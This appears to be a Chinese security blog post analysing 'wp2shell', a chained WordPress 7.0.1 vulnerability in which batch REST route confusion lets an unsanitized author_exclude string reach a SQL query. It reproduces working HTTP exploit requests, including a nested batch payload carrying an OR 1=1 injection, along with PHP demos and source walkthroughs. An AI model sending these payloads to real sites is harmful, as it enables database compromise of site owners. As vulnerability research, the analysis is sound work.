WordPress-RCE-Series-1
WordPress-RCE-Series(1)
最近WordPress好像一连炸了好几个洞出来啊
而且还都是可以直接RCE的
于是简单的整理了最近比较严重的洞,准备分开发几篇博客讲完
第一篇我们就从这次AI挖WordPress的源头开始吧,wp2shell
The component of wp2shell
wp2shell本质是两个洞的组合利用,分别是CVE-2026-63030 + CVE-2026-60137
好熟悉的组合技,想你了React2shell(这个的分析后面也会发)
看报告似乎是通过一个REST API 批量路由混淆+SQL注入来制造攻击面
跟着漏洞发现者的文章来走一遍看看呢
A SQL without sanitization
我看的是wordpress-7.0.1的源码
这里我们先看比较简单的SQL注入部分
来到wp-includes/class-wp-query.php

简单审计上下文代码,可以发现这里是在做对查询文章筛选的功能,筛选依据是需要排除的作者id
这里先判断$query_vars中的author__not_in是否为空
接着判断是否为数组,若为数组则就对其中的元素使用 absint方法,接着再进行去重
最后将id进行拼接并再拼接到SQL语句中去
但是如果author__not_in就不是数组呢?
源码并没有对这个做处理
让我们写一个demo看一下
function absint( $maybeint ) {
return abs( (int) $maybeint );
}
$query_vars=array(
'author__not_in'=>array(1,2,3),
);
$where='';
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
echo "execute sanitization\n";
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND result.post_author NOT IN ($author__not_in) ";
} elseif ( ! empty( $query_vars['author__in'] ) ) {
if ( is_array( $query_vars['author__in'] ) ) {
$query_vars['author__in'] = array_unique( array_map( 'absint', $query_vars['author__in'] ) );
sort( $query_vars['author__in'] );
}
$author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );
$where .= " AND result.post_author IN ($author__in) ";
}
print_r( $where );
这是一个正常的运行样例

我们发现结果是符合预期的
那么如果把author__not_in映射到一个字符串呢?
function absint( $maybeint ) {
return abs( (int) $maybeint );
}
$query_vars=array(
'author__not_in'=>'1) OR SLEEP(3)',
);
$where='';
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
echo "execute sanitization\n";
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND result.post_author NOT IN ($author__not_in) ";
} elseif ( ! empty( $query_vars['author__in'] ) ) {
if ( is_array( $query_vars['author__in'] ) ) {
$query_vars['author__in'] = array_unique( array_map( 'absint', $query_vars['author__in'] ) );
sort( $query_vars['author__in'] );
}
$author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );
$where .= " AND result.post_author IN ($author__in) ";
}
print_r( $where );

此时就出现问题了,前面对元素的absint被直接绕过,并且此时对字符串也是完全信任,没有进行任何额外的检查
我们再看看后续有没有做过滤呢?
这个函数最后返回的是$this->posts
中间对$where的都是拼接逻辑,只有这里通用的对$where拼接给其他变量

最后落到$this->request
我们继续跟这个变量
发现后续根本没有做进一步的过滤,直接用$wpdb去做执行了

此时就造成了SQL注入
The API in Wordpress
但是光有SQL注入也不够,需要一个外部的调用点
我们先看前面的点在哪里被注册为了路由
网上稍微做了一下信息收集,发现WordPress的路由注册方式主要是REST API
那么我们就可以缩小查找的范围

同时这里还要注意前面的get_posts函数还有一个包裹点

接下来找直接调用和通过query()对get_posts的间接调用就好了
最后发现在这三个文件中都有真实调用
class-wp-rest-global-styles-revisions-controllre.php
class-wp-rest-revisions-controller.php
class-wp-rest-posts-controller.php
对应的类的方法为
WP_REST_Global_Styles_Revisions_Controller#get_items
WP_REST_Revisions_Controller#get_items
WP_REST_Posts_Controller#get_items
并且WP_REST_Global_Styles_Revisions_Controller是继承的WP_REST_Revisions_Controller
那么就有趣起来了
猜测每次请求Controller都会默认先调用get_items来处理请求
看了眼发现确实是

这里的WP_REST_Server::READABLE就是GET
也就是说当使用GET访问这些route时就会触发get_items方法进行响应(下文要考)
再看看路由的命名逻辑,看到register_rest_route方法上
省略掉一些错误处理,主体差不多就是这样
function register_rest_route( $route_namespace, $route, $args = array(), $override = false ) {
$clean_namespace = trim( $route_namespace, '/' );
if ( isset( $args['args'] ) ) {
$common_args = $args['args'];
unset( $args['args'] );
} else {
$common_args = array();
}
if ( isset( $args['callback'] ) ) {
// Upgrade a single set to multiple.
$args = array( $args );
}
$defaults = array(
'methods' => 'GET',
'callback' => null,
'args' => array(),
);
foreach ( $args as $key => &$arg_group ) {
if ( ! is_numeric( $key ) ) {
// Route option, skip here.
continue;
}
$arg_group = array_merge( $defaults, $arg_group );
$arg_group['args'] = array_merge( $common_args, $arg_group['args'] );
}
$full_route = '/' . $clean_namespace . '/' . trim( $route, '/' );
rest_get_server()->register_route( $clean_namespace, $full_route, $args, $override );
return true;
}
再跟进register_route

也就是说最后的路由格式差不多就是 '/' . $clean_namespace . '/' . trim( $route, '/' )
而这里的$this->parent_base还要看get_post_type_object这个方法的输出
继续跟踪看看呢

这里没写什么东西,那么就要看下上下文哪里write了post_type
找到了一个register_post_type方法,这里依旧没写,往上再找
发现基本所有的注册都在这里完成

再回看到register_post_type方法的处理

这里实例化的WP_Post_Type在__construct魔术方法中将$this->name=$post_type
那么推下来就能得到三个Controller的route,分别是
/wp/v2/global-styles/<parent_id>/revisions
/wp/v2/global-styles/<parent_id>/revisions/<id>
/wp/v2/<article-type>/<parent_id>/revisions
/wp/v2/<article-type>/<parent_id>/revisions/<id>
/wp/v2/<article-type>/
/wp/v2/<article-type>/<id>
接着我们再仔细看一下初始化时的操作
看到这(restapi.php::create_initial_rest_routes)
这里把post_type做了筛选,接着get_rest_controller()
这个方法返回对应type的对应类或者返回WP_REST_Posts_Controller::class,也就是post type的Controller
而在最初的post_type的注册中,有且仅有这八个type的show_in_rest为true
'post' array('rest_controller_class' => 'WP_REST_Posts_Controller')
'page' array('rest_controller_class' => 'WP_REST_Posts_Controller')
'attachment' array('rest_controller_class' => 'WP_REST_Attachments_Controller')
'nav_menu_item' array('rest_controller_class' => 'WP_REST_Menu_Items_Controller')
'wp_block' array(rest_controller_class' => 'WP_REST_Blocks_Controller')
'wp_navigation' array('rest_controller_class' => 'WP_REST_Posts_Controller')
'wp_font_family' array('rest_controller_class' => 'WP_REST_Font_Families_Controller')
'wp_font_face' array('rest_controller_class' => 'WP_REST_Font_Faces_Controller')
而大部分都采用了WP_REST_Posts_Controller
并且对于正常使用来说,最频繁的使用一般都是posts
A successful SQL injection,or not?
那么回到之前那个问题。这个SQL注入能否单独利用呢?
我们来看看控制器的实现

发现这里将传入的author_exclude字段映射为author_not_in的值
并且在收集时也做了限制

而请求的参数是如何层层最后传入到WP_Query#get_posts这个函数呢?中途是不是能被这个限制有效拦截住呢?
How WP handle the request?
WordPress的请求入口在rest-api.php

继续跟进,重点在这里
$request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path );
$request->set_query_params( wp_unslash( $_GET ) );
$request->set_body_params( wp_unslash( $_POST ) );
$request->set_file_params( $_FILES );
$request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) );
$request->set_body( self::get_raw_data() );
...
if ( ! is_wp_error( $result ) ) {
$result = $this->dispatch( $request );
}
// Normalize to either WP_Error or WP_REST_Response...
$result = rest_ensure_response( $result );
这里在完善包体后直接dispatch

dispatch中会做has_valid_params和sanitize_params的校验
has_valid_params

这里会对必要的参数进行检测,be like this:

那么如果缺少request的参数时,请求就会报错
后面进行逐参数 validate_callback,这个感觉不是特别重要,就不讲了
sanitize_params
这里有大量的continue,重点关注这个就可以
一开始会调用get_parametor函数获取执行顺序,接着对各个请求方法的参数进行清洗

如果是不在注册列表中的参数会被保留,对存在的会进行一系列的check
然后对存在sanitize_callback属性的调用指定函数进行清洗,不存在的默认使用rest_parse_request_arg进行清洗
若不发生报错则进行覆盖写入
public function sanitize_params() {
$attributes = $this->get_attributes();
if ( empty( $attributes['args'] ) ) {
return true; // 没绑 schema → 一个字不洗
}
$order = $this->get_parameter_order(); // JSON → POST → GET → URL → defaults
foreach ( $order as $type ) {
foreach ( $this->params[ $type ] as $key => $value ) {
if ( ! isset( $attributes['args'][ $key ] ) ) {
continue; // ★ 未注册的参数原样保留,既不校验也不清洗
}
$param_args = $attributes['args'][ $key ];
// 有 type 但没有 sanitize_callback → 默认注入 rest_parse_request_arg
if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
$param_args['sanitize_callback'] = 'rest_parse_request_arg';
}
if ( empty( $param_args['sanitize_callback'] ) ) {
continue; // 没有 type 也没有 callback → 跳过
}
$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );
if ( is_wp_error( $sanitized_value ) ) {
$invalid_params[ $key ] = ...; // 不抛出,继续洗别的
} else {
$this->params[ $type ][ $key ] = $sanitized_value; // ★ 就地改写
}
}
}
if ( $invalid_params ) {
return new WP_Error( 'rest_invalid_param', ..., array( 'status' => 400, 'params' => ..., 'details' => ... ) );
}
return true;
}
我们再看看rest_parse_request_arg是怎么做的清洗
function rest_validate_request_arg( $value, $request, $param ) {
$attributes = $request->get_attributes();
if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
return true;
}
$args = $attributes['args'][ $param ];
return rest_validate_value_from_schema( $value, $args, $param );
}
再调用,接着会进入这个switch-case

会对指定了type的参数进行严格的校验
而这个函数外层还套着foreach,那么数据类型就一定会被进行严格的校验
然后就能得出,如果实际传入的type不对,就会被sanitize_params()方法捕捉并报错,直接利用完全失败
Batch route confusion
这个地方就很有趣了
我们看到wp-includes/rest-api/class-wp-rest-server.php

这里首先initial了两个数组$matches和$validation来存储处理的结果
foreach 1
先看第一个foreach
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
$error = null;
if ( is_wp_error( $match ) ) {
$error = $match;
}
if ( ! $error ) {
list( $route, $handler ) = $match;
if ( isset( $handler['allow_batch'] ) ) {
$allow_batch = $handler['allow_batch'];
} else {
$route_options = $this->get_route_options( $route );
$allow_batch = $route_options['allow_batch'] ?? false;
}
if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) {
$error = new WP_Error(
'rest_batch_not_allowed',
__( 'The requested route does not support batch requests.' ),
array( 'status' => 400 )
);
}
}
if ( ! $error ) {
$check_required = $single_request->has_valid_params();
if ( is_wp_error( $check_required ) ) {
$error = $check_required;
}
}
if ( ! $error ) {
$check_sanitized = $single_request->sanitize_params();
if ( is_wp_error( $check_sanitized ) ) {
$error = $check_sanitized;
}
}
if ( $error ) {
$has_error = true;
$validation[] = $error;
} else {
$validation[] = true;
}
}
这里先检查$single_request是否error
若error,则在$validation对应的index下赋值$single_request并continue
若无错误,则在$matches对应的index下赋值$this->match_request_to_handler( $single_request );
后面没什么问题,就是一串对于有无error的处理
问题出在最后一个if-else:
如果一开始就error,那么$validation会+1,而$matches不变
但是正常结束呢?
$matches先会被赋值,在最后$validation增加一个true的值
那么如果通过发送一个请求使得一开始这个条件就成立if ( is_wp_error( $single_request ) )
就会使得原本通过index一一对应的matches-validation组错位
还有注意的就是这里的几个if (!$error)

第一个检验了route是否有批处理的配置

第二个和第三个都是检验参数的,前面讲过了,不多说
foreach 2
接下来看第二个foreach
foreach ( $requests as $i => $single_request ) {
if ( is_wp_error( $single_request ) ) {
$result = $this->error_to_response( $single_request );
$responses[] = $this->envelope_response( $result, false )->get_data();
continue;
}
$clean_request = clone $single_request;
$clean_request->set_url_params( array() );
$clean_request->set_attributes( array() );
$clean_request->set_default_params( array() );
/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
$result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request );
if ( empty( $result ) ) {
$match = $matches[ $i ];
$error = null;
if ( is_wp_error( $validation[ $i ] ) ) {
$error = $validation[ $i ];
}
if ( is_wp_error( $match ) ) {
$result = $this->error_to_response( $match );
} else {
list( $route, $handler ) = $match;
if ( ! $error && ! is_callable( $handler['callback'] ) ) {
$error = new WP_Error(
'rest_invalid_handler',
__( 'The handler for the route is invalid' ),
array( 'status' => 500 )
);
}
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
}
/** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */
$result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request );
$responses[] = $this->envelope_response( $result, false )->get_data();
}
这里把之前存进去的$validation和$matches又全取出来了
我们先厘清一下这三个变量存储的是什么
$single_request 一个以每个独立请求的method和路由的path为参数的WP_REST_Request对象
$validation 存储true/Wp_Error对象
$matches 存储请求中的handler和route
那么根据前面的错位,就会出现index[1]的request实际使用的是index[2]请求的handler的情况
此时respond_to_request对其进行处理:

会发现几乎不校验route
只在最后会使用route

那么也就相当于这里会用handler的回调函数来处理request,且不事先对传入的route进行校验
感觉这个处理就很神秘,相当于route几乎没有被用上了
2 bugs lead to wp2shell
两个漏洞单独拎出来感觉都是无法找到利用的口子的
但是一结合起来就出问题了
我们可以利用错位的机制来绕过原由路由的handler对参数类型的严格限制
这里直接借用原作者的demo了
POST /wp-json/batch/v1 HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 364
{
"validation": "normal",
"requests": [
{
"method": "POST",
"path": "http://:"
},
{
"method": "DELETE",
"path": "/wp/v2/posts/1",
"body": {
"author_exclude": "foobar"
}
},
{
"method": "GET",
"path": "/wp/v2/posts"
}
]
}
在处理时,由于错位,第一个循环后的数组指针大概会出现这样的变化
| request | validation[] | matches[] | |
|---|---|---|---|
| 1st req | 0 | 0(WP_Error) | 0 |
| 2nd req | 1 | 1 | 0 |
| 3rd req | 2 | 2 | 1 |
| final condition | / | 3 | 2 |
那么在第二次的循环中
index=0的request因为is_wp_error为真,就会被直接跳过
那么连着第一个请求的match就也被跳过了(是按照对其i的规则来处理得到resp的)
处理index=1的request时,此时对齐i得到的就是index=1的validation(属于第二个请求)和index=1的macthes(属于第三个请求),此时是validation=true
最后的respond_to_request就会调用对应route下的handler的callback函数
这里我们又要上去看眼matches数组的元素是怎么处理得到的
protected function match_request_to_handler( $request ) {
$method = $request->get_method();
$path = $request->get_route();
$with_namespace = array();
foreach ( $this->get_namespaces() as $namespace ) {
if ( str_starts_with( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) {
$with_namespace[] = $this->get_routes( $namespace );
}
}
if ( $with_namespace ) {
$routes = array_merge( ...$with_namespace );
} else {
$routes = $this->get_routes();
}
foreach ( $routes as $route => $handlers ) {
$match = preg_match( '@^' . $route . '$@i', $path, $matches );
if ( ! $match ) {
continue;
}
$args = array();
foreach ( $matches as $param => $value ) {
if ( ! is_int( $param ) ) {
$args[ $param ] = $value;
}
}
foreach ( $handlers as $handler ) {
$callback = $handler['callback'];
// Fallback to GET method if no HEAD method is registered.
$checked_method = $method;
if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) {
$checked_method = 'GET';
}
if ( empty( $handler['methods'][ $checked_method ] ) ) {
continue;
}
if ( ! is_callable( $callback ) ) {
return array( $route, $handler );
}
$request->set_url_params( $args );
$request->set_attributes( $handler );
$defaults = array();
foreach ( $handler['args'] as $arg => $options ) {
if ( isset( $options['default'] ) ) {
$defaults[ $arg ] = $options['default'];
}
}
$request->set_default_params( $defaults );
return array( $route, $handler );
}
}
return new WP_Error(...);
}
大概就是把全局已经注册的路由和这里对应上呢
这里callback GET调用的就是get_items,此时就会触发Wp_Query对象的实例化以及对query函数的调用
我们仔细看看get_items的实现,会发现一个很恐怖的问题
callback的函数对处理的request是完全信任的,除了只检查 orderby/include 前置条件和 context=edit 权限
对于其他的参数几乎不做校验,接近于直接处理body了
但是这样可以跑通了吗?
好像不行呢。。我们发现/v1/batch路由对请求体的request method做了严格的校验

这里的校验还是在sanitize_params中
在这里有检测enum的分支

直接无法通过
那么我们就要想办法绕过它去做GET的请求
这里感觉也是作者和他的AI最天才的地方啊,使用一个嵌套去做绕过
POST /wp-json/batch/v1 HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 656
{
"requests": [
{
"method": "POST",
"path": "http://:"
},
{
"method": "POST",
"path": "/wp/v2/posts",
"body": {
"requests": [
{
"method": "GET",
"path": "http://:"
},
{
"method": "DELETE",
"path": "/wp/v2/posts/1",
"body": {
"author_exclude": "0) OR 1=1 -- "
}
},
{
"method": "GET",
"path": "/wp/v2/posts"
}
]
}
},
{
"method": "POST",
"path": "/batch/v1"
}
]
}
此时顶层 POST /batch/v1 经 dispatch 的 batch schema 校验合法进入回调 serve_batch_request_v1
outer[0] 的 URL 解析失败使 $matches 错位一格,outer[1] 借到 outer[2] 匹配的 /batch/v1 handler,其 body 里前面作为未知参数被sanitize放行的内层 batch 被当作批处理输入再跑一轮——这层绕过的是 method 枚举(枚举只存在于顶层路由的 schema,内层信封结构无 schema)
内层子请求各自在循环二绑上自己匹配到的 schema,inner[1](DELETE /wp/v2/posts/1)由于绑定的 delete_item schema 不认识 author_exclude在校验中直接进行了保留
内层同样的错位让 inner[1] 在执行时借到 inner[2] 的 get_items 匹配 → 这层绕过的是参数校验(配对不一致); get_items 读走DELETE body里未清洗的标量 author_exclude → 映射 author__not_in → 实例化 WP_Query → query() → get_posts() 的“仅数组消毒”分支原样拼接 → $wpdb->get_results() 注入达成。
最后让AI 搓了个直观点的gadgets方便大家理解
HTTP POST /wp-json/batch/v1 body: { requests: [outer0, outer1, outer2] }
│
├─ rest_api_loaded()
└─ serve_request( '/batch/v1' ) ① 唯一 HTTP 入口
└─ dispatch() (435 行)
├─ match_request_to_handler() 绑 batch schema
├─ has_valid_params / sanitize_params 顶层枚举校验:outer 三个子请求都是 POST ✓
└─ respond_to_request()
└─ call_user_func( serve_batch_request_v1 ) (1287 行)
│
▼
serve_batch_request_v1() ②【第一次调用】正常路径:路由回调
│ 循环一:outer[0] "http://:" 解析失败 → $requests[0]=WP_Error(错位的种子)
│ 循环二:matches[0]=match(outer[1])=posts create_item
│ matches[1]=match(outer[2])=/batch/v1 handler ← outer[2] 是"捐赠者"
│ 循环三:i=1 → $matches[1] 取到 outer[2] 的匹配 = /batch/v1 handler
│ → respond_to_request( outer[1], '/batch/v1', batch_handler, null )
│ └─ call_user_func( serve_batch_request_v1 ) (又是 1287 行)
│ │
│ ▼
│ serve_batch_request_v1( outer[1] ) ③【第二次调用】借位重入(递归)
│ 读 outer[1] body 里的 requests → 内层 batch(从未被枚举校验,GET/DELETE 随意)
│ 循环三:inner[1] 借到 inner[2] 的 get_items 匹配
│ → call_user_func( get_items ) ④ SQLi 落地
│ → 返回内层响应数组
│
│ 返回 207 WP_REST_Response
└─ serve_request 后半段:json_encode + echo(唯一一次 I/O)